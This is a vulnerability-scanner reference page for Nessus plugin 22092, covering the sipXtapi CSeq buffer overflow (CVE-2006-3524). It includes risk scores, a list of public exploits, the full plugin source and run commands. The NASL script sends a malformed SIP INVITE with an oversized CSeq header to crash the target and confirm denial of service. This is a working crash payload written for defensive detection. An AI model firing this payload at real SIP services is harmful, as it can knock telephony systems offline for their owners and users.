sipXtapi INVITE Message CSeq Field Header Remote Overflow - Nessus

High   Plugin ID: 22092

This page contains detailed information about the sipXtapi INVITE Message CSeq Field Header Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 22092
Name: sipXtapi INVITE Message CSeq Field Header Remote Overflow
Filename: sipxtapi_cseq_overflow.nasl
Vulnerability Published: 2006-07-10
This Plugin Published: 2006-07-25
Last Modification Time: 2019-03-06
Plugin Version: 1.25
Plugin Type: remote
Plugin Family: Misc.
Dependencies: sip_detection.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2006-07-10
Patch Published: N/A
CVE [?]: CVE-2006-3524
CPE [?]: N/A

Synopsis

The remote host contains an application that is vulnerable to a remote buffer overflow attack.

Description

The remote host is running a SIP user agent that appears to be compiled using a version of SIP Foundry's SipXtapi library before March 24, 2006. Such versions contain a buffer overflow flaw that is triggered when processing a specially crafted packet with a long value for the 'CSeq' field. A remote attacker may be able to exploit this issue to execute arbitrary code on the affected host subject to the privileges of the current user.

Solution

Contact the software vendor to see if an upgrade is available.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): Services/sip, Services/udp/sip
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the sipXtapi INVITE Message CSeq Field Header Remote Overflow vulnerability:

  1. Metasploit: exploit/windows/sip/sipxphone_cseq
    [SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow]
  2. Metasploit: exploit/windows/sip/aim_triton_cseq
    [AIM Triton 1.0.4 CSeq Buffer Overflow]
  3. Metasploit: exploit/windows/sip/sipxezphone_cseq
    [SIPfoundry sipXezPhone 0.35a CSeq Field Overflow]
  4. Exploit-DB: exploits/windows/remote/16351.rb
    [EDB-16351: SIPfoundry sipXezPhone 0.35a - CSeq Field Overflow (Metasploit)]
  5. Exploit-DB: exploits/windows/remote/16352.rb
    [EDB-16352: SIPfoundry sipXphone 2.6.0.27 - CSeq Buffer Overflow (Metasploit)]
  6. Exploit-DB: exploits/windows/remote/16353.rb
    [EDB-16353: AIM Triton 1.0.4 - CSeq Buffer Overflow (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the sipxtapi_cseq_overflow.nasl nessus plugin source code. This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22092);
  script_version("1.25");
  script_cvs_date("Date: 2019/03/06 18:38:55");

  script_cve_id("CVE-2006-3524");
  script_bugtraq_id(18906);

  script_name(english:"sipXtapi INVITE Message CSeq Field Header Remote Overflow");
  script_summary(english:"Sends an SIP packet with a bad CSeq field");

  script_set_attribute(attribute:"synopsis", value:
"The remote host contains an application that is vulnerable to a remote
buffer overflow attack.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a SIP user agent that appears to be compiled
using a version of SIP Foundry's SipXtapi library before March 24, 2006. 
Such versions contain a buffer overflow flaw that is triggered when
processing a specially crafted packet with a long value for the 'CSeq'
field.  A remote attacker may be able to exploit this issue to execute
arbitrary code on the affected host subject to the privileges of the
current user.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439617/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2006/Jul/161");
  script_set_attribute(attribute:"solution", value:"Contact the software vendor to see if an upgrade is available.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/07/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/07/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Misc.");
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");

  script_dependencies("sip_detection.nasl");
  script_require_ports("Services/udp/sip", "Services/sip");

  exit(0);
}

function try_dos(port, proto)
{
  local_var res, res2, soc, soc2, encaps, via_protocol, probe, sploit;

  if (proto == 'udp')
  {
    if (!get_udp_port_state(port)) return FALSE;
    if (islocalhost()) soc = open_sock_udp(port);
    else soc = open_priv_sock_udp(sport:port, dport:port);
  }
  else
  {
    if (!get_tcp_port_state(port)) return FALSE;
    soc = open_sock_tcp(port);
  }
  if (!soc) return FALSE;

  via_protocol = proto;

  encaps = get_port_transport(port);
  if (!isnull(encaps) && proto == 'tcp')
  {
    if (encaps && encaps > ENCAPS_IP)
      via_protocol = 'tls';
  }

  # Make sure the service is up.
  #
  # nb: this is what's used in sip_detection.nasl.
  probe =
    "OPTIONS sip:" + get_host_name() + " SIP/2.0" + '\r\n' +
    "Via: SIP/2.0/" + toupper(via_protocol) + " " + compat::this_host() + ":" + port + '\r\n' +
    'Max-Forwards: 70\r\n' +
    "To: <sip:" + compat::this_host() + ":" + port + '>\r\n' +
    "From: Nessus <sip:" + compat::this_host() + ":" + port + '>\r\n' +
    "Call-ID: " + rand() + '\r\n' +
    'CSeq: 63104 OPTIONS\r\n' +
    "Contact: <sip:" + compat::this_host() + '>\r\n' +
    'Accept: application/sdp\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n';

  send(socket:soc, data:probe);
  res = recv(socket:soc, length:1024);

  if (!strlen(res) || isnull(res))
  {
    close(soc);
    return FALSE;
  }

  # http://en.wikipedia.org/wiki/List_of_SIP_response_codes
  if (!egrep(pattern:"^SIP/2\.0 [1-3][0-9][0-9] ", string:res))
  {
    close(soc);
    return FALSE;
  }

  # Try to crash the service.
  sploit =
    "INVITE sip:user@" + get_host_name() + " SIP/2.0" + '\r\n' +
    "To: <sip:" + compat::this_host() + ":" + port + '>\r\n' +
    "Via: SIP/2.0/" + toupper(via_protocol) + " " + compat::this_host() + ":" + port + '\r\n' +
    "From: Nessus <sip:" + compat::this_host() + ":" + port + '>\r\n' +
    "Call-ID: " + rand() + '\r\n' +
    'CSeq: 115792089237316195423570AAAA\r\n' +
    'Max-Forwards: 70\r\n' +
    "Contact: <sip:" + compat::this_host() + '>\r\n' +
    '\r\n';

  send(socket:soc, data:sploit);
  res = recv(socket:soc, length:1024);
  close(soc);

  if (!strlen(res) || isnull(res))
  {
    res2 = NULL;

    if (proto == 'udp')
    {
      if (islocalhost()) soc2 = open_sock_udp(port);
      else soc2 = open_priv_sock_udp(sport:port, dport:port);
    }
    else
    {
      soc2 = open_sock_tcp(port);
    }
    if (soc2)
    {
      send(socket:soc2, data:probe);
      res2 = recv(socket:soc2, length:1024);
      close(soc2);
    }
    # double check to make sure service is actually down
    if (!strlen(res2) || isnull(res2))
    {
      security_hole(port:port, proto:proto);
      return TRUE;
    }
  }
  return FALSE;
}

udp_ports = get_kb_list("Services/udp/sip");
tcp_ports = get_kb_list("Services/sip");

is_vuln = FALSE;

# loop through TCP ports
if (!isnull(tcp_ports))
{
  foreach port (make_list(tcp_ports))
  {
    if (try_dos(port:port, proto:"tcp")) is_vuln = TRUE;
  }
}

# loop through UDP ports
if (!isnull(udp_ports))
{
  foreach port (make_list(udp_ports))
  {
    if (try_dos(port:port, proto:"udp")) is_vuln = TRUE;
  }
}

if (!is_vuln) exit(0, "The remote SIP services are not vulnerable.");
else exit(0);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/sipxtapi_cseq_overflow.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\sipxtapi_cseq_overflow.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/sipxtapi_cseq_overflow.nasl

Go back to menu.

How to Run


Here is how to run the sipXtapi INVITE Message CSeq Field Header Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Misc. plugin family.
  6. On the right side table select sipXtapi INVITE Message CSeq Field Header Remote Overflow plugin ID 22092.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl sipxtapi_cseq_overflow.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a sipxtapi_cseq_overflow.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - sipxtapi_cseq_overflow.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state sipxtapi_cseq_overflow.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 73498 - A10 Networks Remote Buffer Overflow
  • 107059 - Arista Networks EOS libresolv Overflow RCE (SA0017)
  • 133801 - Arista Networks EOS DNS 2 byte heap based overflow RCE (SA0030)
  • 58433 - Asterisk ast_parse_digest Function HTTP Digest Authentication String Parsing Remote Overflow (AST-2012-003)
  • 83763 - Citrix XenServer QEMU FDC Buffer Overflow RCE (CTX201078) (VENOM)
  • 12240 - CVS pserver Line Entry Handling Overflow
  • 76348 - HylaFAX+ 5.2.4 < 5.5.4 Remote Buffer Overflow
  • 151882 - Libgcrypt < 1.9.1 Heap Buffer Overflow Vulnerability
  • 70103 - IBM Lotus Sametime Multiplexer Buffer Overflow
  • 11843 - LSH Daemon < 1.4.3 / 1.5.3 lshd Remote Overflow
  • 69319 - Mac OS X Directory Service Buffer Overflow
  • 108521 - MikroTik RouterOS < 6.40.7 or 6.41.x < 6.41.3 SMB Buffer Overflow
  • 127052 - Poppler < 0.79 Integer Overflow Vulnerability
  • 29253 - Samba < 3.0.28 send_mailslot Function Remote Buffer Overflow
  • 17720 - Samba SWAT 3.0.2 - 3.0.4 HTTP Basic Auth base64 Buffer Overflow
  • 25216 - Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow
  • 58662 - Samba 3.x < 3.6.4 / 3.5.14 / 3.4.16 RPC Multiple Buffer Overflows
  • 142712 - Oracle Solaris PAM parse_user_name() buffer overflow (CVE-2020-14871)
  • 10607 - SSH CRC-32 Compensation Attack Remote Overflow
  • 12261 - Subversion < 1.0.3 apr_time_t data Conversion Remote Overflow
  • 64834 - Sun Java Web Start JNLP File Handling Overflow (102996) (Unix)
  • 25929 - SurgeMail IMAP Server SEARCH Command Remote Buffer Overflow
  • 146102 - VLC < 3.0.12 Buffer Overflow
  • 105614 - ESXi 6.5 < Build 6765664 Heap Buffer Overflow (VMSA-2017-0021) (remote check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file sipxtapi_cseq_overflow.nasl version 1.25. For more plugins, visit the Nessus Plugin Library.

Go back to menu.